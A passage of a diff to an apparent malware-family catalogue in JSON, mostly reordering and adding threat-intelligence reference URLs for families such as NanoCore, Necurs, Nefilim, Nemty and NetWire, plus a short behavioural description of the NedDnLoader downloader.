+ "https://medium.com/@the_abjuri5t/nanocore-rat-hunting-guide-cb185473c1e0", + "https://malwareindepth.com/defeating-nanocore-and-cypherit/", + "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/image-file-trickery-part-ii-fake-icon-delivers-nanocore/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/elfin-indictments-iran-espionage", + "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire" ], "synonyms": [ "Nancrat", @@ -35053,8 +36663,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam", - "http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html", - "https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage" + "https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage", + "http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html" ], "synonyms": [], "type": [] @@ -35067,9 +36677,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.ncsc.gov.uk/alerts/turla-group-malware", - "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims" + "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims", + "https://www.secureworks.com/research/threat-profiles/iron-hunter" ], "synonyms": [], "type": [] @@ -35083,9 +36693,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat", "https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-threat-actor-group/", - "https://www.youtube.com/watch?v=rfzmHjZX70s", - "https://blog.talosintelligence.com/2018/05/navrat.html?m=1", "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://blog.talosintelligence.com/2018/05/navrat.html?m=1", + "https://www.youtube.com/watch?v=rfzmHjZX70s", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" ], "synonyms": [ @@ -35101,14 +36711,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan", - "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://www.youtube.com/watch?v=1WfPlgtfWnQ", "https://insight-jp.nttsecurity.com/post/102gr6l/ta428ncctrojan", - "https://sebdraven.medium.com/actor-behind-operation-lagtime-targets-russia-f8c277dc52a9", + "https://www.youtube.com/watch?v=1WfPlgtfWnQ", "https://vblocalhost.com/uploads/VB2020-20.pdf", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", + "https://sebdraven.medium.com/actor-behind-operation-lagtime-targets-russia-f8c277dc52a9", "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", - "https://twitter.com/ESETresearch/status/1441139057682104325?s=20" + "https://twitter.com/ESETresearch/status/1441139057682104325?s=20", + "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf" ], "synonyms": [], "type": [] @@ -35121,11 +36731,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nebulae", - "https://www.bleepingcomputer.com/news/security/cyberspies-target-military-organizations-with-new-nebulae-backdoor/", "https://www.securityweek.com/chinese-cyberspies-target-military-organizations-asia-new-malware", "https://twitter.com/SyscallE/status/1390339497804636166", - "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos" + "https://www.bleepingcomputer.com/news/security/cyberspies-target-military-organizations-with-new-nebulae-backdoor/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf" ], "synonyms": [], "type": [] @@ -35138,27 +36748,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs", - "https://blogs.microsoft.com/on-the-issues/2020/03/10/necurs-botnet-cyber-crime-disrupt/", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "http://blog.talosintelligence.com/2017/03/necurs-diversifies.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/", - "https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-riverview", - "https://bin.re/blog/the-dgas-of-necurs/", - "https://blog.avast.com/botception-with-necurs-botnet-distributes-script-with-bot-capabilities-avast-threat-labs", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-new-face-of-necurs-noteworthy-changes-to-necurs-behaviors", - "https://www.secureworks.com/research/threat-profiles/gold-riverview", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", - "https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", - "https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://cofense.com/necurs-targeting-banks-pub-file-drops-flawedammyy/", - "https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features" + "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-new-face-of-necurs-noteworthy-changes-to-necurs-behaviors", + "http://blog.talosintelligence.com/2017/03/necurs-diversifies.html", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "https://blogs.microsoft.com/on-the-issues/2020/03/10/necurs-botnet-cyber-crime-disrupt/", + "https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/", + "https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features", + "http://www.secureworks.com/research/threat-profiles/gold-riverview", + "https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/", + "https://www.secureworks.com/research/threat-profiles/gold-riverview", + "https://blog.avast.com/botception-with-necurs-botnet-distributes-script-with-bot-capabilities-avast-threat-labs", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://bin.re/blog/the-dgas-of-necurs/" ], "synonyms": [ "nucurs" @@ -35169,12 +36779,17 @@ "value": "Necurs" }, { - "description": "", + "description": "NedDnLoader is an HTTP(S) downloader that uses AES for C&C trafic encryption.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, user name, type and free disk space of all drives, and a list of currently running processes. It uses three typical parameter names for HTTP POST requests: ned, gl, hl. The usual payload downloaded with NedDnLoader is Torisma.\r\n\r\nThe internal DLL name of NedDnLoader is usually Dn.dll, Dn64.dll or DnDll.dll. It is deployed either as a standalone payload or within a trojanized MFC application project. It contains specific RTTI symbols like \".?AVCWininet_Protocol@@\" or \".?AVCMFC_DLLApp@@\".", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader", + "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/", + "https://www.telsy.com/lazarus-gate/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/" ], "synonyms": [], "type": [] @@ -35187,35 +36802,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", - "https://news.sophos.com/en-us/2021/01/26/nefilim-ransomware-attack-uses-ghost-credentials/", - "https://www.trendmicro.com/en_us/research/21/b/nefilim-ransomware.html", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://blog.qualys.com/vulnerabilities-research/2021/05/12/nefilim-ransomware", - "https://www.bleepingcomputer.com/news/security/home-appliance-giant-whirlpool-hit-in-nefilim-ransomware-attack/", - "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://securelist.com/evolution-of-jsworm-ransomware/102428/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://documents.trendmicro.com/assets/white_papers/wp-modern-ransomwares-double-extortion-tactics.pdf", "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.trendmicro.com/en_us/research/21/b/nefilim-ransomware.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", "https://www.trendmicro.com/en_us/research/21/f/nefilim-modern-ransomware-attack-story.html", - "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "http://www.secureworks.com/research/threat-profiles/gold-mansard", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/nefilim-ransomware-threatens-to-expose-stolen-data", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-mansard", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", - "https://www.cert.govt.nz/it-specialists/advisories/active-ransomware-campaign-leveraging-remote-access-technologies/", "https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks", - "https://securelist.com/evolution-of-jsworm-ransomware/102428/", - "https://documents.trendmicro.com/assets/white_papers/wp-modern-ransomwares-double-extortion-tactics.pdf" + "https://news.sophos.com/en-us/2021/01/26/nefilim-ransomware-attack-uses-ghost-credentials/", + "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://www.cert.govt.nz/it-specialists/advisories/active-ransomware-campaign-leveraging-remote-access-technologies/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/", + "https://blog.qualys.com/vulnerabilities-research/2021/05/12/nefilim-ransomware", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://www.bleepingcomputer.com/news/security/home-appliance-giant-whirlpool-hit-in-nefilim-ransomware-attack/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a" ], "synonyms": [ "Nephilim" @@ -35230,7 +36845,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemesis", - "https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor" + "https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-domino-backdoor", + "https://medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5" ], "synonyms": [ "Project Nemesis" @@ -35261,33 +36877,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/", - "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", - "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html", - "https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/", - "http://www.secureworks.com/research/threat-profiles/gold-mansard", - "https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/", - "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", - "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/", - "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/", - "https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b", "https://securelist.com/evolution-of-jsworm-ransomware/102428/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/", + "https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/", + "http://www.secureworks.com/research/threat-profiles/gold-mansard", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", + "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw", + "https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/", + "https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html", + "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", + "https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/", + "https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/", - "https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/" + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [], "type": [] @@ -35313,10 +36929,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta", - "https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", "https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html", - "https://www.virusradar.com/en/Win32_Neshta.A/description" + "https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest", + "https://www.virusradar.com/en/Win32_Neshta.A/description", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot" ], "synonyms": [], "type": [] @@ -35329,11 +36945,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg", - "https://youtu.be/_kzFNQySEMw?t=789", + "https://securelist.com/lazarus-under-the-hood/77908/", "https://www.documentcloud.org/documents/4834259-Park-Jin-Hyok-Complaint.html", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf", + "https://content.fireeye.com/apt/rpt-apt38", "https://youtu.be/8hJyLkLHH8Q?t=1208", - "https://content.fireeye.com/apt/rpt-apt38" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf", + "https://youtu.be/_kzFNQySEMw?t=789" ], "synonyms": [], "type": [] @@ -35372,9 +36989,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/" + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" ], "synonyms": [ "Neteagle_Scout", @@ -35390,13 +37007,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter", - "https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf", - "https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit", + "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/", "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users", - "https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/", + "https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit", + "https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf", "https://www.intezer.com/blog/malware-analysis/fast-insights-for-a-microsoft-signed-netfilter-rootkit/", - "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/" + "https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/", + "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users" ], "synonyms": [], "type": [] @@ -35448,19 +37065,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat", - "https://asec.ahnlab.com/en/45312/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", - "https://www.bleepingcomputer.com/news/security/malicious-web-redirect-service-infects-16-500-sites-to-push-malware/", - "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", - "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", "https://www.trendmicro.com/en_us/research/23/c/new-opcjacker-malware-distributed-via-fake-vpn-malvertising.html", - "https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/", "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", + "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", + "https://asec.ahnlab.com/en/45312/", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "http://www.netsupportmanager.com/index.asp", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "http://www.netsupportmanager.com/index.asp" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", + "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/", + "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", + "https://www.bleepingcomputer.com/news/security/malicious-web-redirect-service-infects-16-500-sites-to-push-malware/", + "https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/" ], "synonyms": [ "NetSupport" @@ -35475,10 +37092,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler", - "https://cybergeeks.tech/dissecting-apt21-samples-using-a-step-by-step-approach/", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://cybergeeks.tech/dissecting-apt21-samples-using-a-step-by-step-approach/" ], "synonyms": [ "TravNet" @@ -35493,57 +37110,58 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire", - "https://news.drweb.ru/show/?i=13281&c=23", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", "https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA", - "https://www.youtube.com/watch?v=TeQdZxP0RYY", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", - "https://community.riskiq.com/article/24759ad2", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html", + "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://lmntrix.com/lab/analysis-of-netwire-rat/", - "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", - "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.circl.lu/pub/tr-23/", - "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", + "https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html", + 